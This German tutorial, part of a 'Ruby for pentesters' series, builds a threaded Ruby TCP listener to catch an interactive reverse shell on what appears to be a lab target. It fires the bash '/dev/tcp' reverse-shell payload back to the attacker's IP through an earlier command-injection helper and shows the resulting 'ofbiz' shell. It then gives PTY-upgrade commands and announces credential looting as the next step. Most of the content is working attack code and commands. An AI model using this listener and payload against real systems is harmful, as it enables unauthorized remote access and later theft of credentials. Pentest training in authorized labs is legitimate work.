// Ruby für Pentester · Teil 4
Eine Shell fangen
Reflektierte Ausgabe ist umständlich. Wir schreiben unseren eigenen TCP-Listener in Ruby, um eine interaktive Reverse-Shell zu fangen — und lernen dabei Sockets und Threads.
Teil 3’s run führt ein Kommando aus und gibt eine Seite zurück, die du greppen
musst. Für echte Arbeit willst du eine Shell — eine interaktive Sitzung auf
der Box. Der Zug ist eine Reverse-Shell: wir sagen dem Ziel, es soll sich
zurück zu uns verbinden, und wir fangen diese Verbindung mit einem Listener.
Du hast dafür wahrscheinlich nc -lvnp benutzt. Wir schreiben unseren eigenen in
etwa zehn Zeilen Ruby, denn das lehrt zwei Dinge, die du für immer brauchst:
Sockets und Threads.
Ein Socket-Listener
Rubys socket-Bibliothek hat eine Server-Klasse. Öffne einen Port und warte:
require 'socket'
server = TCPServer.new('0.0.0.0', 4444)
puts '[*] Listening on 4444...'
conn = server.accept
puts "[+] Shell from #{conn.peeraddr[3]}"
TCPServer.new(host, port)bindet einen lauschenden Socket.server.acceptblockiert — das Programm hält dort an, bis sich etwas verbindet, und gibt dann einconn-Objekt (einen Socket) für diese Verbindung zurück.conn.peeraddr[3]ist die verbindende IP, damit wir loggen können, wer aufgetaucht ist.
Das Problem: zwei Richtungen gleichzeitig
Sobald die Shell verbunden ist, fließen Daten in beide Richtungen: die Shell
schickt Ausgabe zu uns, und wir schicken Kommandos zu ihr. Schrieben wir nur
eine Schleife — conn.readpartial, um die Shell zu lesen —, steckten wir im
Lesen fest und könnten nie tippen. Lesen und Schreiben blockieren beide, und
ein Programm kann nur in einem blockierenden Aufruf gleichzeitig sitzen.
Die Antwort sind Threads. Ein Thread ist eine zweite Ausführungslinie innerhalb desselben Programms. Wir stecken die „von der Shell lesen”-Schleife in ihren eigenen Thread, damit sie gleichzeitig mit der „von der Tastatur lesen”-Schleife läuft:
# Background thread: everything the shell sends -> our screen.
Thread.new do
loop { $stdout.write(conn.readpartial(4096)) }
rescue EOFError
puts "\n[*] Shell closed."
end
# Main thread: everything we type -> the shell.
loop { conn.write($stdin.gets) }
Thread.new do ... endstartet diesen Block nebenläufig.conn.readpartial(4096)liest bis zu 4096 Bytes, sobald welche ankommen — so erscheinen Shell-Prompts und -Ausgabe sofort (anders als zeilengepufferte Lesevorgänge).- Wenn die Shell stirbt, wirft
readpartialEOFError; wir fangen ihn und drucken einen Hinweis, statt abzustürzen. - Der Haupt-Thread bleibt in
$stdin.getsund schickt jede getippte Zeile den Socket hinunter.
Ein Threading-Fallstrick, den man kennen sollte: Ein Hintergrund-Thread, der etwas wirft, das er nicht rescue-t, stirbt still — der Rest des Programms läuft weiter, ahnungslos, und du fragst dich, warum die Ausgabe aufhörte. Während du baust, schalte dieses Verhalten so um, dass der Absturz eines Threads das ganze Programm laut mit herunterreißt:
Thread.abort_on_exception = true
Unser Lese-Thread rescue-t seinen erwarteten EOFError, aber alles Unerwartete
würde sonst verschwinden; das macht es sichtbar.
Auslösen
Starte den Listener, dann — aus dem Werkzeug von Teil 3, in einem anderen
Terminal — feuere den klassischen bash-Reverse-Shell-Payload durch run und
richte ihn auf deine IP:
LHOST = '10.10.14.5'
run("bash -i >& /dev/tcp/#{LHOST}/4444 0>&1")
bash -i ist eine interaktive Shell; >& /dev/tcp/<ip>/<port> leitet ihre Ein-
und Ausgabe auf eine TCP-Verbindung zurück zu dir um. Das accept deines
Listeners kehrt zurück, und du bist drin:
$ ruby listener.rb
[*] Listening on 4444...
[+] Shell from 10.10.11.252
id
uid=1000(ofbiz) gid=1000(ofbiz) groups=1000(ofbiz)
Das ist ein lebendiger, interaktiver Zugang als ofbiz — und du hältst ihn
mit einem Listener, den du selbst geschrieben hast.
Die Shell benutzbar machen
Diese rohe Shell hat keine Job-Kontrolle, keine Tab-Vervollständigung, keine
Pfeiltasten, und ein einziges verirrtes Ctrl-C killt sie. Bevor du echte
Arbeit machst, rüste sie zu einem vollen PTY auf. Das ist kein Ruby — es ist der
Standard-Post-Exploitation-Tanz, und du wirst ihn jedes Mal laufen lassen, wenn
du eine Shell fängst:
ofbiz@bizness:/$ python3 -c 'import pty; pty.spawn("/bin/bash")'
ofbiz@bizness:/$ ^Z
$ stty raw -echo; fg
$ export TERM=xterm
pty.spawnstartet bash unter einem echten Pseudo-Terminal neu, sodass Programme, die ein TTY erwarten (sudo,ssh, Texteditoren), sich richtig verhalten.Ctrl-Zschickt die Shell in den Hintergrund deines lokalen Terminals;stty raw -echo; fgreicht deine Tastenanschläge unverändert durch und setzt sie fort;TERM=xtermverschafft dir eine funktionierende Bildschirmgröße und ein Clear.
Jetzt fühlt es sich wie ein normales Terminal an — was in dem Moment zählt, in dem du mit dem Eskalieren beginnst.
Der Listener, vollständig
#!/usr/bin/env ruby
require 'socket'
server = TCPServer.new('0.0.0.0', 4444)
puts '[*] Listening on 4444...'
conn = server.accept
puts "[+] Shell from #{conn.peeraddr[3]}"
Thread.new do
loop { $stdout.write(conn.readpartial(4096)) }
rescue EOFError
puts "\n[*] Shell closed."
end
loop { conn.write($stdin.gets) }
Erkenntnisse
- Die
socket-Bibliothek gibt dir rohes TCP:TCPServer.newzum Lauschen,server.accept, um eine Verbindung anzunehmen (es blockiert, bis eine ankommt). readpartial(n)gibt Bytes zurück, sobald sie ankommen — richtig für interaktive Streams; es wirftEOFErroram Ende des Streams.- Threads (
Thread.new do ... end) führen Code nebenläufig aus — die Lösung, wann immer du gleichzeitig lesen und schreiben musst, weil beides blockiert. - Eine Reverse-Shell ist nur das Ziel, das einen Socket zurück zu deinem Listener
öffnet;
bash -i >& /dev/tcp/ip/port 0>&1ist der Payload. - Der unrescue-te Fehler eines Hintergrund-Threads stirbt still;
Thread.abort_on_exception = truemacht ihn sichtbar, während du baust. - Einmal gefangen, rüste die rohe Shell zu einem PTY auf (
python3 -c 'import pty; ...'→stty raw -echo; fg), damit Job-Kontrolle und interaktive Programme funktionieren.
Übungen
- Lies den Lausch-Port von der Kommandozeile:
port = (ARGV[0] || 4444).to_i, sodassruby listener.rb 9001einen Port wählt und es ohne Argument bei 4444 bleibt. - Gib die Verbindungszeit aus, wenn eine Shell eintrifft, mit
Time.nowund Interpolation. - Tee die Sitzung: Während der Lese-Thread die Ausgabe der Shell druckt, häng sie
auch an eine mit
File.open('session.log', 'a')geöffnete Log-Datei an. Alles, was die Box schickt, liegt jetzt auch auf der Platte.
Weiter — Teil 5: Mit einer Shell als ofbiz gehen wir auf Zugangsdaten-Suche
— und lernen Regex und Dateiverarbeitung, indem wir OFBiz’ eingebettete Datenbank
von der Platte plündern.